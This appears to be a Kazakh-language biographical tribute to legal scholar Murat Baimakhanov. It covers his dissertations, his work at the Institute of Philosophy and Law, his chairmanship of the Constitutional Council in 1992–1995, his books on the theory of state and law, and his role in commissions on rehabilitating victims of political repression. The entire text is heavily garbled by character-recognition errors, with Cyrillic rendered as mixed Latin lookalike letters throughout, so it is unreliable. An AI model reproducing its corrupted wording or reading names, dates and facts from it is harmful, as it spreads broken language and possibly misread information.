FrutbiMza cakTanran TeKcepil Kapay TOpTiOi aybI3ila sKaHPJIAp/IbIH KONTICIMEH XKoHE alKbIHBLIBIFBIMEH
oTeN/Ii: MHCTUTYTTa CaJITaHATTHI JKETICTIKTep Ke3iHEH IIMPEK Fachlp OeireH uiesiap, TYKbIpbIMaaManap,
»ko0arap TajaKbIFa TYCTi.

Kemminik sxarmaiia UIeoJIOTHUSUIBIK KbI3MET aTKapFaH KCHECTIK MEMJICKETTIK KYKBIKTBIH JKeKe Oacka
TaOBIHYJIBIH MEMJIEKETTIK KYPBUIBICBIHA KOHTII, Cipecill KallFaH COKBIP CEHIMJeri FhUIBIMFa Kapama-
KaWmbel Oip e3iHe TEOPHSUIBIK JKOHE KOMAaHOAIhl KBI3METTEP/i TAaOWFH TYPHE CHUFBI3FAH «BIMBIPAIIBIID)
MEMJICKeTTaHy JaMu OacTajpl J1a, FaJbiM MEH a3aMmaT Mapbi3blH ajajl MaMaHHBIH ©3 KYIIIH TOJIBIK
naiijlananyblHa TaMalia Koy amThl. byn xkaHa OarbITThIH OactaybiHga M. T. baliMaxaHOBTBIH FBUIBIMU
xerekmrici, Mockey MeMJIEKeT jKoHe KYKBIK WHCTHTYTBIHBIH KEHECTIK MEMJIEKETTIK KYKBIK CEKTOPBIHBIH
MEHI'€PYIIICi, 3aH FhUIBIMBIHBIH KaHIWIAThl, HAFbI3 FaJibIM, epekine TanaHT ueci B. @. Kook, ocwl cek-
TOpJa XKYMBIC ICTCUTIH alpbIKIIa JEMOKPATHUSIIBIK OaFbITTaFbl MEMJICKCTTAHYIIBI ipi FaabIMIap, Mpo-
¢deccopmap H. I1. dapbepor nen L. A. Ammnonsckas 6onmbl. ¥craz-tamimrepiep KasakcrtaHHaH KenreH
»Kac FaJBIMHBIH TATAHTHIH OalKal, OHBIH CHPEK Ke37[eCeTiH KaOIeTiH KEHIPEK alllThI.

Mine, ocblHIAll anapiHa yiri Oonmap yiaTel MOJ ycTa3 aramapbl OonraH Mypar Toxi-MypaTyiist
bailiMaxaHOBTBIH KYKBIKTaHY 9JIEMiHIH CHIP-CHUIIATHIH 3epTTeye YJIKeH TaOaHbIIBIK KOPCETIM KeleTi.

OchIHmal FRUTBIMFA TaJFaMIIa3ObIK TEH TUICKTECTIK »karmaiibrHma M. T. baitmaxanoB misiFapma-
IIBUTBIFBIHBIH OHIIBUIIABIK, TCOPUSIBIK 0achIM JKaKTapbl — KOFaMJbl aJaMIepIIiliK, KYKbIK IEH JIeMO-
KpaTusi OacTayblHIa KalTa KYPYABIH YTHIMIbI MEMJICKETTIK KYKBIKTBIK JKOJIIAphIH 13J€CTIpYy KaJIbIIl-
Tacaapl. FaneiM i31eHICTepiHIH epeKIIeNir — op MaCeNeHi KeleH Al TYpAe 3epTTeyi, YcaK-TyHeKkke O0MbIH
aynapmaii, mpoOJeMaHbl JJaMy HeEri3i MEH ©3¢KTi 3aHIBUIBIKTAphbl, OJaH IIbIFATBIH FHUIBIMFA KEPEK
TYXKBIPBIMJIAP, KOHIICTITY bl KOPBITHIHABLIAPIBI 13/1C/11.

Mypat Toxi-MypaTyIbIHBIH KYKBIKTaHYABIH TYPJIi canaiapblHaH Xxabap OepreH eHOeKTepre TOJbI,
OHBIH IIBIFAPMAIIBUIBIFEIHA TYTACTHIK MEH KYPBUIBIMIBIK O KHCHIHIBUIBIFBIH OE€PreH >KYJIIBI3IBI JKOJIBI
OCBIHJAM.

byrinri akagemuk M. T. baliMaxaHOBTBIH COJI Ke3/le KOMIIUTIKTIH Ha3aphl epeKile ayFaH JKoHe e
KOFaMIBIK OMIpai JEeMOKPATHSUTAHIBIPY MEH JKaKCcapTylaH YMIT auccepranmschiHa «EHOeKIIiaep i
KOFaMJIBIK YUBIMJIAPBIHBIH MEMIICKETTIK OpTaHAapbl KbI3METIH JKY3ere acelpy TaKipuOeci» JereH Takbl-
PBINTHI TaHAAN angbl. 1963 KbUIBI TUCCEPTAIMSICHIH OWIAFbIall KopFarl, peciyOnuka FreuibiM akane-
MUSICBIHBIH (PUI0CO(US KOHE KYKBIK HHCTHTYThIHA KbI3METKE Kipicesi.

1973 >xpUIBI AJIMaThIma Ka3ak >KOFaphl OKY OPBIHIAPBIHBIH OipaeH-0ip mmaHpiparbl Kazak mewm-
JIEKeTTIK yHUBepcuTeTinae «[IpoTuBOpeyrs B pa3BUTHH IIPABOBOM HAJCTPOMKH COIUAIEHOTO O0IIECTBA U
MyTH WX TPEOAOJCHUs» TaKbIphlObIHAa MypaT Toxki-MypaTyiIbIHBIH KaHIUAATTHIK UCCEpPTAIHsIChIHA
JKETEKITUTIK KacaraH MOCKEYIIK ipi, TaHeMan FambiM B.D.KOTOKTBHIH Tarbl n1a >KCTEKIIUTITiMEH
JIOKTOPJIBIK JAMCCEpanuschiH Kopraasl. Oman opi M.T.baliMaxaHOBKa FBUIBIMFA JAHFBUI YOJ alllbUIbI:
1975 sxpmbel Ka3CCP FoutbiM AkageMusiICBIHBIH KOppECTIOHASHT-MyIIeci, ain 1983 kputel — akajgemuri
Oomeim caitmanmbl. 1993 skpuTHl Ipodeccop atarsiH el 1996 xeurnan Kazakcran Pecrybmukach xapa-
TBUIBICTaHY FBUTBIMBIHBIH akajgemuri, 2000 — eyponanblk KYKBIK AKaneMuschiHbIH Mytneci (Bynamerr,
Benrpus).

M. T. baiimaxanoBTeIH 1957 xpuimaH Oepri eHOeK >Koybl ¥ITTHIK FhiIbiM AKageMHUsCBIHBIH (HITO-
codust KoHEe KYKBIK MHCTHTYTHIMEH OaillaHBICTBI: Killli )KOHE aFra FBUIBIMH KBI3METKEp, FajlbIM XaTIIIbl,
0es1iM 0aCTBIFbI, FBUIBIMH JKYMBIC OOHBIHIIA TUPEKTOPIBIH OpbIHOACAPHI, HHCTUTYT JUPEKTOPHI KbI3MET-
TEpiH aTKap.bl.

1992-1995 xpuimaper Kazakcran PecrryonmukachiabiH KoHCTHTYIIHSITBIK COTBIHBIH TOpPAFachl, KEHiHT1
xbuinapel «KaifHap» yHUBEPCUTETIHIH MPOPEeKTOpsl koHe «Oainet» A3 JKKM FBUIBIMU )KYMBIC JKOHIH-
neri npopektopbl, Ka3['3Y reuibiMu capantama jxoHE Talijay MHCTUTYTHIHBIH AMPEKTOphI, «KaszakcraH-
JIAFbI KYKBIKTHIK peopMay )KypHAIIBIHBIH PEIaKTOPHI KbI3METTEPiH aTKapFaH.

Axanemuk M. T. BaiiMaxaHOBTBIH FBUIBIMHU 137CHICTEP] HETI3ri €Ki OarbITTa JaMbIIl Keledi: OipiHIi-
Cl — MEMIJICKTTIK KYKBIK TICH KCHECTIK KYPBUIbIC, KOHCTUTYIHUSIBIK KYKBIK, CKIHIICI — KYKBIKTBIH JKaJIIbl
Teopusichl, 70-KbUIIapIbIH COHBIHAH Oepi OelceHai Typae cascaTTaHy MocelellepiMeH alHaNBICHIT
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keneni. FpUIBIMU KBI3METTIH €31 TaHHaraH Herisri eki camackiHga M. T. bailimaxanoB OypberHFbl Omak
KeJIEMiH/Ie JKEeTEKIIl FATBIMIAPBIHBIH KaTapblHa KOTEPLIIII.

M. T. baiiMaxaHOBTBIH FBUIBIMH KbI3METIHIH €Ki HEri3ri OarbIThl Oap: HOMEHKJIATYPaJblK a3 TOII
YCTEMJIriHIH jKanmnaid OujiriHe Kapchl TYpFaH KEHECTIK KYKBIKTaHYIbIH JEMOKPATUSIIBIK KaHATBIHBIH €Ki
HeTis3ri 0acTayblHBIH HOp alfaH OPTAachl MEH KaJIBINITAcy JXalbl — BIMBIPBIIIAIIBIK IEH KOHCTUTYLHO-
Hamu3M. M. T. baiiMaxaHOBTBIH KYKBIKTBIH JKaJIIbl TEOPHUACHl, MEMIICKETTIK XOHE KOHCTUTYLHSIIBIK
KYKBIK KOHIH/IET1 CHOCKTepi OyFaH aliKbIH J1aie 0oJia anaibl.

A3aMaTTBIK KOFaMHBIH KaJBIITACybl, KYKBIKTBIK MEMJIEKET Kypy €3 OeTiHIe Ta namyra Kaoinerti
Keke, OipecKkeH KaThIHAcTap MEH IIBIHABIK KOPIHICTEpIHEH MEMJICKETTI a3aT eTyre >KOHE a3aMaTThIK
KOFaM TYTaCTBIFBIHBIH JKaJIbiFa OIipJeil Heri3ii MeMJICKSTTIH ©3 Ta0uFaThlHA TEH KEJIETIHICH eTin
aiiHannpIpyra OaitnaneicThl. Tyn Heri3iHAe KaHIWAATTHIK XyMbIchiHaH anbiHFaH M. T. BaiimaxaHoBTHIH
«MemIlekeTTiK opranjap KbI3METiHIH KOFaMIbIK YWbIMIAapFa aybICybl TypajbD» IETCH ajfalllKbl MOHO-
rpaduscer (1965) mekci3 Ouneymrinik O6actaynapblH KO3FaraH alTaplIbIKTall MaHbI3/IbI 3epTTEY FaHa eMec,
KEHECTIK TOTAIUTAPJIBIK KOFaMbl alllyFa apHaJIFaH aJiFalliKbl eHOeKTep iy Oipi O0mbl.

Kitanta aBTOpra TOH THIHFBUIBIKTBUIBIKIICH ayKbIMIBI TXKIpHOe MEH MeJIIepil MaTepuanFa Heri3-
JIeNreH JepeKTep OOMBIHINA COJ JKbULAAPHI TAJIKbIFA KOII TYCKEH HETi3I1 Macelenep: AeMOKPaTUsIaHAbIPY
JKarIalbIHIAaFbl MEMIICKETTIK KBI3METTEP/IIH ©3repiCKe YIIBIPAYhl, OTIIENI Ke3 OapbICHIHIAFl MEMIICKETTIK
KbI3METTepAeri OaCIIBIIBIKTE aybICTRIPY PETi, KOFaMABIK YHBIMIAPABIH TalChIPBUIFaH KBI3METTEPi icke
aceIpy TocUIAEpl KapacThIPBUIBIN, COJ Ke3[¢ KONTereH TEOPETUKTEp MEH INPAKTUKTEp KyaTTaraH Ile-
HIMJIep YCHIHBUIIBI.

ABtop KeHectepniH eKiMETTiH OKIIETTI opraHAapbl peTiHAETi YJIKEH POJIiH KOpFal, e3lepiHe ToH
eMec KbI3METTEpIi iCKe achlpfaH MapTHsl opraHiapblHbIH KeHecTep KbI3METiHE apajacyblHa, aTKapyIubl
OMIIIKTErl OKUIeTTI MEKEMENIepHiH Kammaid KbICBIMBI MEH JKaHIyblHA Kapchl IbIFajsl. KeHectep
KbI3METIHACT1 XaJbIKTBIH ©3iH-631 Oackapybl MeH Oipnecin OaclIBUIBIK Xacay OacTaymapbl, Tikenei
JIEMOKPATHUSIHBIH, (opMaliapbl eIIKaH[Iall N1a JopinTeymItikci3 3eprrenemi. OpTanblK JKOHE >KEPTiTiKTi
MEKeMeNepaiH e3apa KapbIM-KaThIHACKIHBIH MOCENEeCiHe OaiIaHBICTBI JKEPTUTIKTI ©31H-031 0acKapyIbIH
KONTEreH OpraHJapbIHBIH IIBIH MOHIHJETI 3aHCHI3 SPEKETTepi asyChl3 ChIHFA AalbIHAJbI, JKEPriTiKTi
Kenecrep KapayblHa LIapyallbUIBIK KOHE MOICHM KYPBUIBICTBIH KONTEI'eH MoceJeliepiH TalChlpy YChI-
HBUTAbI, TOMEHIETI OYBIHAAp KY3ipeTiHe KaTaThlH MoceNeNepai Koraphl TypraH KeHecTepmiH Tikeiel
Kapay IpaKTHKachlH aiibinTainpl. KUCHIHIBI aWKbIHABUIBIKIIEH KeHecTepaiH epekiie Ky3ipeTiHe KOH-
CTUTYUHUSUIBIK KeMJIAIKTEP €HTi3y KaKETTiNIr Typaibl YChIHBIC KacaiIbl.

M. T. baiiMaxaHOBTBIH ipi MOHOTPAUSIIBIK KYMBICTAPBIHBIH Oipi KYKBIK JaMybIHBIH KaWIIIbI-
JIBIKTapbIH TYTaChIMEH, COHBIMEH KOCa KYKBIKTBIK CaHAJarbl, KYKbIKTAFbl )KOHE OHBIH iCKE acybl HbICAH-
JapbIHAAFbl KAWIIBUIIBIKTApBIH 3epTTeyre OarbiTTanraH. OHBIH eHOSKTepiHIe KYKBIK TYCIHYLIUTIKTIH
Kazipri mpoOiemanapblH ally, TYIFaHbIH 9JCYMETTEHYIHAE KYKBIKTBIH aJaTblH OpPHBIH Taly >KoHE
azaMaTTapAblH KYPiC-TYPBICTApPhl MEH CaHACBIHA KYKBIKTHIK BIKITAJ €TYiHIH POJIiH aHBIKTay Mocelieepine
ken keHin OeninreH. M. T. BaiiMaxaHOBTBIH OipKaTap >KYMBICTapbIHAA TYJIFAHBIH OMIpJIK KBI3METi yIie-
piciHzeri KyKbIK HOpMajapbl MEH MOpajib HOpMaJlapbIHBIH XOHE aJaMIepIIiUIK HOpMalapbIMEH e3apa
OpEeKeTTeHY HBICAHIAPHI KapacTeIpblIraH. OchiHAal unesutapasH xxanracel M. T. baitmaxa-HOBTBIH KeHeC
JIOyipiHEeH KEeHIHTT KOoFamIa KYKBIKTHIK MEMJICKETTI KYPYbIH OOBEKTUBTI KAXKETTUIITIH HETI3AeyTre, OHBIH
9TATUCTIK MEMJIEKETTEH aHBIPMAIIBUIBIKTAPbIH aHBIKTAUTBHIH KACHETTEPiH alllblll KepCceTyre, OHBIH
HapBIKTHIK KaThIHACTApFa KeUIyAeri 6acrtaybl MEH KaFHIalapblH OEKITy >KOJAapbIH i3aeyre, coHIail-ak
KYKBIKTBIK MEMJICKET TIeH a3aMaTThIK KOFAaMHBIH KYHeJ KYpPacTRIPYIIBI OeNTici peTiHe — KYKBIKTHIH
YCTEMJIIr'H KepceTyre apHallFaH eHOeKTepiHae KopiHic TanTbl. OHBIH IOPUCTIPYACHIHSIA CATBICTHIPMAIBI
omicTepal maipanaHy >KOHE CajbICTBIpMalibl KYKBIKTaHY MEH CalbICTBIPMAlbl MEMJICKETTaHy CHSKTHI
FBUTBIMH TIOHICPMEH OalIaHBICHI Typajilbl MEMIICKET JXOHE KYKBIK TCOPHSACHIHBIH Oipkarap TYHiHI
omicTeMeNiK KeWOip MoceleNiepiHiH HBICAaHIAPhIH TMalbIMAAy Typalbl JKYMBICTaphl J1a ©3€KTi OOJbI
TaObLIAIBL.

KYKBIKTBIH Kalbl TEOPHUACH JKOHIH/ETI FANBIM-3epTTEYIIiHIH KBIPHIKTAH acTaM eHOeriHje KYKBIK
CaHACBIHBIH TYPJl TEOPHSUIBIK JKaimapbl, KYKbIK, MOpaJlb MEH aJaMIepUIilIiK, KYKbIKTBIH eKe aJaMJbl
QIeyMETTEHAIPY POJiHiH, KYKBIKTHIK aJaMIepIIiUliK arapTy MEH TOopOHMEHiH >KoHe T.0. e3apa 9peKeT eTy
Maceesnepi KapacThIpbLIagbl.
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KyKBIKTBIH kanmbl Teopusichl xkeHiHAeri eHOekTepae M. T. baliMaxaHOBTBIH 3epTTeNiHETIH 00BEK-
Tiepre GrrocoPUITBIK TYPFBIAAH FAIBIM PETiHIE OANBIITH KelTyi epeKine alkpliH Oaltkamansl. by perre
OHBIH «OJIEYMETTIK IIBIHABIK KOPIHICIHIH epekie (popMackl peTiHAeri KYKbIK» aereH eHoeringe (1981)
KYKBIKTBIK HJICOJIOTHS MEH QJICYMETTIK-KYKBIKTBIK IICUXOJIOTHSIHBIH KaMTYIIbI KbI3METi TCOPUSIIBIK JKaFbl-
HaH 3epTTelell, NIBIHAMIBIK ITeH JKaIFaHABIK KaTerOpsapblHBIH KYKBIKTHIK HOpMaapra KapauThIHABIFbI
TypaJTbl MOCEIIEH] ©31HIIK METTY YCHIHBUIATBI.

Bipaeme >xpinnap 6oiiel M. T. baiiMaxaHOB KOHCTUTYLMOHAIN3M IpoOieMalapbIMeH aifHalbICabl.
OHBIH 3epTTeyJIepiHe KOHCTHTYIMSUIBIK HOpMANapAblH TiKeJed >KoHe jKaHamMa KAThICTHI OpeKeT eTyi,
MEMJIEKEeTTIH ATa 3aHHBIH KYPBUITAHIIBI CHMATHl JKOHE JKOFAphl 3aH KYII, KOHCTHUTYIMSUIBIK JKOHE
arbIMJIaFbl PETTEYIH 63apa KaThIHACHI CUSKTBI CYPaKTap KapacThIPBUIFaH.

M. T. BaiimaxaHOBTBHIH OipKaTrap eHOEKTepi 3aH >KoOanapblH FBUIBIMH CapanTaMaliblK 3epTTeyre
apHaJIFaH: KYKBIKIIBEIFAPMAIBUIBIK YASPiCiHe BIKIAN €Ty HBICAHBI, 3aH HOPMAaJIAPBIHIAFEl KEMITUTIKTEPIi
Taby >KOHE OJapJBIH KO JKOJIAPBIH Tady, capanTaMaHblH KYKBIK IIBFapMallbUIBIKICH Kepi OainaHbl-
CBIHBIH €PEKILIENIKTEPi, CH131ITeH 03TrepiCTiH AYPHICTHIFBIH TEKCEPY JKOJAAPEI.

M. T. baiiMaxaHOBTBIH 0achUIBIMIAPBIHBIH IIIHACT €H ipl XKoHE MEMJICKET JKOHE KYKBIK TEOPHUSCHI
OOWMBIHIIIA TaHIAYJIbUIAPEIH aTacak: «V30paHHBIE TPyABl MO TEOPHH TocynmapcTtBa W mpaBay (2003),
«B3anMoeiicTBIEe TIPaBOBOTO CO3HAHHS C MOPAIBI0 W HPABCTBEHHOCTHIO B OOIIECTBE IMEPEXOIHOTO
nepuoaa» (1995), «llpoTuBopeuns B pa3BUTHU PAaBOBOM HAACTPOUKH TipH conranm3men(1972).

Ochl KiTanTapaplH OipiHIIiCiHIEe MepeHTOW HerepiHiH FBUIBIMH KbI3METI KE3CHIHIET1 3aH FhUIbI-
MBIHBIH oicTeMeci, Ka3akCTaHHBIH MEMIICKETTIIIN JKOHE KYKBIKTBIH JaMy KE3CHIEepi, MeMJIeKeT (QyHK-
[USUTAPBI J)KOHE MEMIICKETTIK OpTraHAapblH (QYHKIUSIIAPHI, KYKBIKTHIK MEMJICKET JKOHE a3aMaTThIK KOFaM,
KOHCTHTYIIMSI KEHECTiK aoyipleH KeHinri Kasakcranmarsl KYKBIKTBIH HETI3ri KailHap Ke3i peTiHne,
TYJIFaHBIH CaHACBhIHA KYKBIKTBIH dCep €TYi, Ka3ipri Ke3eHJeri YIATTHIK KYKBIK JKOHE XalIbIKAPAIBbIK KYKBIK
HOpPMaJIapblHBIH YHJIeCyi Typasibl HETi3Ti TYKBIppIMAAp TYHIHOENin >koHe Oemimuepae OipikTipimim,
OipTyTac MIOFBIPIaHBIN OasHIAIa bl

M. T. baiimaxaHOBTHIH €HOCKTEpiHIE KYKBIK IIBIFAPMAIIBUIBIKTBIH FHUIBIMH TKIpUOCTIK acrek-
TITIpiHE KOIl KOHIA OeiiHreH. ATajfaH MaHBI3[bl KbI3MET TYpiHE KOHICNTyaJlbJbl TYPFBIIAH Kapay
Typanbl OasHIamanap jkacay OapbhICBIHIA, HOpMa MIApYyallbUIBIKTBIH CallachlH KOTEpY Kypajbl PEeTiHIe
KYKBIKTBIK MOHHTOPWHT TYypaJlbl KeKe MiKipiH aiiTy apkpuiel, KazakcTaHHBIH KOFaMABIK KYPBUIBIMIAPHI
TypaJibl 3aHHAMACHIHBIH 1aMybl ©31HIH )KacaraH KOHICHIMSCHIHBIH €PEKIICIIITIH THIHFUIBIKTBI HET13Ie/I1.

Mepeii Toit merepiniH OipkaTap KapHsJaHbBIMAAphl KIHOCI3 azamarTapra KaThICTBl KOJIIaHBUIFaH
JKammai casich KyFBIH-CYPTiHT€ YINBIPATKaH KeHeC OKIMEeTi CasCaThIHBIH Ca3aliblH TapTTHIpyFa, Oyl
IapaHbIH XaJIBIKKa KAapChl CHUNATBIH KepceTyre apHanraH. 2008 KbUIABIH MayChIM adbIHA ACHIH OJ
Ka3aKCTaHJIbIK TAPUXH aFrapTyIIbLUTBIK KOHE KYKBIK KOPFAYIIIBI «O/IIeT» KOFaAMBIHBIH PE3HJICHT] OOJIFaH:
OHBIH JKETeKHIiriMmen OipHeme «A3zanbl kitanrap» («CkopOu kuurm»), Kaszakcranmarer 1930-1950
KBUTIAPIIAFGl JKYPTi3UITeH Casch KyFBIH-CYPTiHIEp cabaKTaphlH Ka3ipri 3aMaHayd TYPFBICBIHAH KaiTa
3epaesiey Typaibl 6TKI3UINeH OipKaTp KOH(GEPEHIUIIap MaTepHalaphl )KHHAKTAPhI, COJT K€3JIET1 YaKbITThI
KOpPreH alaMIap/IblH eCTEiK JKUHAKTAPhI )KapbIKKA IIBIKKAH.

M. T. baiimaxaHOB aKTaJFaHAAPIBIH KWBIH-KBICTAy KE3CHIHICTI JKaFmalblH JKEHUIAEeTyre Oaiia-
HBICTBI TOPOMENIK — HACHXATTaylIbl )KOHE ©3Te Jie ic-Inapanapisl YHBIMAACTHIpYFa OacTamaribl OOJIBIM,
OeJiceHe at canbICKaH azaMarTapblH Oipi O0ibIn TaObIIa kL.

Epekiie mibiFapMamibiiblK  TapbIHBIH OKIMIIUTIK KaOimeTTepiMeH YiHieciMIi Typjae YINTacThIpa
Oinyinia 31 M. T. baliMaxaHOBTHI FRIIBIMHBIH TaMmallla YHBIMIACTRIPYIIBICH eKeHiH xabapaap eremi. O
0aclIBUTBIK €TKeH OelimMieplie TKIpHOeNi >KoHE jKac KbI3MeTKepiiep OipiKKeH Tary NIBIFapMAaIlbLIbIK
YKBIM/IAp KaNBINITACTHI, oNapAasiH ke0i Mypat Teoxi-MyparynsiHbH moKipTTepi 00sasl. Coll Y>KbIM-
apabIH KBI3MET TOCUTIHIE OaCIIBIHBIH CHPEK KE3eIeCeTiH KEeKe TYIFACHIHBIH Oenriyiepi OalKaibim,
KBI3METKEpIIEp/IiH dpKalChIChIHA €H JKaKChl alaMTepIIiIiK XKoHEe KociOM KacheT epikci3 taman erinai. O
MEMJICKETTIK, KOHCTHTYLHUSUIBIK KYKBIK, KEHECTIK KYPBUIBIC MACEIIENIEPiH 3epTTEreH Ke34e HHCTUTYTTa ap
skpuigapsl H. M. Axyesnen, C. K. AmanneikoBreH, A. K. Korosnen, M. A. bunnepmen, JI. T. Kany3za-
koBameH, . K. Koxabaesnen, T. XK. KycmanranueBamen, I'. B. Heuu-taiinomen, A. B. Po3eHiBaiir-
neH, P. C. CokueBameH Oipre >KyMbIC icTeN, KYKBIKTBIH KaJIlbl TEOPUsCH canackiiaa M. M. AtaHoBrieH,
A. VY. beiicenoBamen, K. C. bipxanoBamen, /[. A. bynrakosamen, JI. M. Baiicoeprien, M. A. Nb6paru-
MogrieH, E. K. HymefticoBnen 6ipre KpI3MeT aTKapbl.
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Becmuux Hayuonanvrot akademuu nayk Pecnybnuku Kazaxcman

Enni Mypar Toxi-Mypatyisl baliMaxaHOBTBIH KailipaTKepIlik KbIpJIapblH alTaThIH OOJICaK, CO3MiH
Typa MarbIHACHIHIA Ka3aKTapra TOYEJCI3MIKTI okenepaeri ¥YNT Kemobacmbichl Hypcynran OOIMTyIIsl
Hazap06aeB TeHiperiHe THIFBI3 TONTACKAH caHAYJbI capaapiapAbiH Oipi 6omgel. On Toyenci3mikke aeHiH
JKOHE TOYEJICI3MIKTI aKMKaTKa alfHalIbIpy *KOJbIHIA asHOall KypecKeH azaMaTTapbiH Oipi xoHe Oipereii.
KetiiHHeH enmiMi3IiH ereMeHiri KaprslaHFaH COH TOYeJCi3 eNiH 3aHHaMaJbIK TYFBIPHAMACKHIH Kacaya
epekIe eHOeK CiHip/Ii.

TaHpIMan FaJBIMHBIH €MiMi3 TOYEJCI3/iK ajfaH TYCTa MEMJIEKTTaHyIIbl — 3aHTepiiK, FalbIM-Kaii-
paTKepIiK KbIpbl MEH TAaJIAHTHI, IIBIHAN EIDKAHIBUIBIK CEe3iMi, €peKIle MATPHOTTHIK PYXBIHBIH OWIKTIri
)apkeipan kepiHmi. Oran aiirak oHbIH 1992 xwiiel Kazakcran PecmyOmmkacer Koncturynusisik Cot
Teparachl OOJIBIN cailflaHybl OHBIH TaMmalla KaCUeTTepi MEH €HOCKTEPIH TaHyIIbIH >KOFapbl Oenrici OOobI
KaHa KOHMail, afaM MeH QJIeyMETTIK peJijiiH colikec KenmyiHiH, KoHctuTynusuisik CoTTa pecnyOIuKaHbIH
a0BIpOMBI MEH HAMBICHIH KOpFail Oimymeri epekiie OUTIMAUIITT MeH KaOUTITiHIH aWKBIH MBICATBI OOJBIT
tabbutaael. OcbiHmal OipeH-0ip €H JKOoFapbl MEMIICKETTIK KbhI3METTE OJI €JIIMI3Ie KOHCTHTYIUSIIBIK
3aHABUIBIKTEL OCKiTyze, >Kalmbsl COT OWIIriHIH peyli MeH Ky3blpeTiH keTepyne, KP KoHcTUTynusuibk
CoOTbIHBIH KBI3METiH YHBIMIACTBIPY MEH OarbITTaphlH aHBIKTAyJa KeIl >KyMbICTap aTkapiabl. byn opraw,
MIBIH MoHIiHIEe, KazakcTaH TapuxbslHIA OIpiHINI pPEeT HOPMATHBTIK KYKBIKTBIK aKTiIep XyiheciHme Ara
3aHHBIH OACHIMIIBLIBIFBIH )KOHE YCTEMAIT MeH OaChIMIBUIBIFBIH iC )KY31HIIE KAMTaMachl3 €TTi.

Koncrurynusuisik CoTThIH TOparackl Oomna xypin, M. T. baiimaxanoB ranbiM Ooubi Kana Oepai. ©31
FBUIBIMHU JKYMBICIICH aifHasbIca KYPIill, OJ aTayiibl >KOFaphl OpraHja 3aHHaManaplbl Tajgayga eHOCKTiH
FBUIBIMH TYpJE YHBIMAACTBIPBUTYBI MEH FBUTBIMU SAICTEpi €Hri3yre THIPBICHI 0akThl. COTTBIH KaHbIHIA
TEOPETUKAIBIK CEMHHApP YHBIMAACTBIPBUIBII, XbUIbIHA OipHEIIe peT OHAA ©3eKTi KOHCTHTYIHUSUIBIK TEO-
PETUKANBIK >KOHE IMPAKTUKANBIK Maceyenep OOHBbIHIIA opTypii xabapiamaiap THIHOAJIBIT OTBIPBUIIBI.
TeopeTHKaIbIK CEMHUHAP CYAbSIIAPABIH XKOHE alapar KbI3METKepIIepiHiH KociOn OUTiMALTITiH apTThIpya,
KeHOip ©3eKTi FRUTBIMU-IIPAKTUKAIBIK MACEIENep i YKbIM OOJIBII Tajaay1a Kol )KyMbICTap aTKapabl.

KP Koncrurynusineik Cotel Teparackl petinae M. T. balimaxaHoB e3iH OacKapyIblH JeMOKPATHSIIBIK,
CTHJIbJIET] OaCIIBICHI, MapacaTThl cascaTKep, KOHCTUTYLHUIIBIK KYKBIK cajlachblHIa ce3iMTal jkoHe Oenenai
MaMaH PeTiHJe KepceTin, ATa 3aHJbl, afaMaapAblH KYKbIFbI MCH CPKIHJIITH caKTay/aa ajajl )KoHe TOHEeKTI
KOPFayIIbl EKeHIITiH TaHBITTHI.

M. T. BaiiMmaxaHoB opaaiibiM peciyOIMKaMbI3IaFbl 3aH HIBIFAPYIIBI KOHE HOPMATHBTIK KYKBIKTHIK
aKTijaepal makbiHmay Kei3merine Oencenpi katbicansl. KasCCP 1978 sxbuirbl, Kazakcran PecmyOnuka-
ceiHBIH 1993 xpurrbl KOHCTHUTYIUSIIAPBIHBIH JKOOACHIH JaibIHAAaFaH J>KYMBICIIBI KOHE caparTaMallibl
TONTaphIHBIH KYpaMblHA KipreH, XaJlblK ACMyTTaphl aynaHablk KeHecTepi Typaibl, Kajagarbl XaJIbIK
JeTyTTapbl ayAaHAbIK XOHE Kajalblk KeHectepi Typanbl 3aHaaplblH KoOalapblH Kacay >KeHIHJer
KoMHccHsIIapasl Oackapabl, pecirybimka YKoraprel KeHecine caitnay Typansl skoHe pecmyOnauka MuHu-
ctpnep KaOuneri Typansl 3aHmapiblH k00ajbl >KOHIHIETi YKIMET KOMHCCHSACHIHBIH KypamblHa CHI,
«OKanmaii casicu KyFbIH-CYpriHAep KypOaHAapblH aKTay Typalbl» 3aHHBIH jK00achlH NaibiHIay OOMBIHINA
JKYMBICITBI TOOBIHBIH JkeTekmrici 0ommbl. 2008 xputel Ka3['3Y mpodeccopraper ToOs OGacTamacsiMeH
azipnenren «Kazakctan PecnmyOnukachIHBIH MEMIIEKETTIK TiJl TypajbD» 3aHHBIH XOOachlH NaibIHOayFa
KaTBICTHI.

Azamar peringe Mypat Toxi-MypaTyiel KyFbIH —CYPTiH 3apia0blH OachlHaH KeulipreH OTOaChIHBIH
Myuieci 60a OTHIPBII, OCHI Macesiere Kol KeHuT ayaapabl. O xamnmaii cascu KyFbIH-CYPTiH KypOaHaapbIH
aKTayFa apHaJFaH 3aHHaAMaJlapJbl JalbIHAAYFa, OJap/bl €CTe CaKTayFa apHAIIFaH KOFaMJbIK KYMBICTapFa,
Anmatsl oOnbichkl, Ine aynmanbl, JKaHanblk aynbslHAa cascH KypOaHOapAbl €cKe KajablpyFa apHajfaH
MEMOPHUANIBIK KEIICH 11 alryFa OeJICeH i KaTbIHACTHI.

O3iHeH-031 TYCiHIKTI, Oy OYKiT KOFaMIbl TOJNFaHIBIPAaThIH Macenere Mypar Taoxki-Myparyist
KaiibapakaT KapaMmazbl, ©31HIH OCbl TAaKbIPBIIKA apHAJFaH KeICepHsUIbl MakajlalapblHAa Oy MaceleHi
TEPEH 3epTTeyre O3iHiH 30p YJIECiH KOCTHI.

HIpIFpIC XaNBIKTApBIHAA «AJJAM JTaHA JKYPEKTi JKOHE HMTUTIKTI aKbll Meci 00Ty Kepek» JereH Makall
0ap. Mypar Toxi-Mypatyibl OyTiH/EH eMip HKOJIBIHAA OCHl MAKAIIBIH KaFUIaThIH YCTAH/bI.

Mypar Toxi-Mypatyiiel — OWiK 3UsUTBI afaM, OHBIH Op0ip >KyHKe TaMBIpbl OHBI TYJIACHTEH 13TUTiKTI
eMip KOJbIHA OacTaibl, OHBIH OYTiHIAEH OONMBICBIH WMAaHJIBUIBIK XOHE PYyXaHU KYHJBUIBIKTaApBIMEH
TOJIBICTHIPHIN, SMIIIK, MapbI3, ap, HAMBIC, aOBIPOM, JKayamKepIIiliK, TOPTIM, CON KACHETTEpIiH e3eri
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6omapl. On IereHiHi3, eMIipiH THIHBIMCBI3 aFbICBIHBIH, IIBIFAPMAIIBUIBIK Ta JaPbIH/BI TYJIFAHBIH TipIii-
JITiHIH KyaTThl apKayblHa aiiHAJIBL.

